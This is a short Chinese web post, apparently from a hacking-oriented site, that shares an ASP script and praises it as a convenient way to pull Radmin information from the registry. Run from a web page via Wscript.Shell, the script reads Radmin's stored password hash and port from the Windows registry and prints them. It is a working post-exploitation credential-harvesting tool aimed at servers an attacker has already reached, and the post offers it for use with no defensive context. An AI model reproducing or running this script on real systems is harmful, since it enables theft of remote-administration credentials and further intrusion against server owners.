注册
登录
| 关键词： strin Mid Response Then ParameterArray End write strObj result PortArray |
这个脚本真的很方便，轻松的获取radmin注册表中的信息 ，想想以前我们都是用cmd下导出注册表信息 <% '========================================Main====================================== Set WSH= Server.CreateObject("Wscript.shell") RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\" Parameter="Parameter" Port = "Port" ParameterArray=WSH.Regread(RadminPath & Parameter ) Response.write "The Result of Radmin Hash" Response.write "<br><br>" Response.write Parameter&":" '=========== ReadPassWord ========= If IsArray(ParameterArray) Then For i = 0 To UBound(ParameterArray) If Len (hex(ParameterArray(i)))=1 Then strObj = strObj & "0" & CStr(Hex(ParameterArray(i))) Else strObj = strObj & Hex(ParameterArray(i)) End If Next response.write Lcase(strobj) Else response.write "Error! Can't Read!" End If Response.write "<br><br>" '=========== ReadPort ========= PortArray=WSH.REGREAD(RadminPath & Port ) If IsArray(PortArray) Then Response.write Port &":" Response.write hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0)))) Else Response.write "Error! Can't Read!" End If '=============hex TO int========== Function hextointer(strin) Dim i, j, k, result result = 0 For i = 1 To Len(strin) If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then j = 15 End If If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then j = 14 End If If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then j = 13 End If If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then j = 12 End If If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then j = 11 End If If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then j = 10 End If If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then j = CInt(Mid(strin, i, 1)) End If For k = 1 To Len(strin) - i j = j * 16 Next result = result + j Next hextointer = result End Function '================ End ========== %> |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
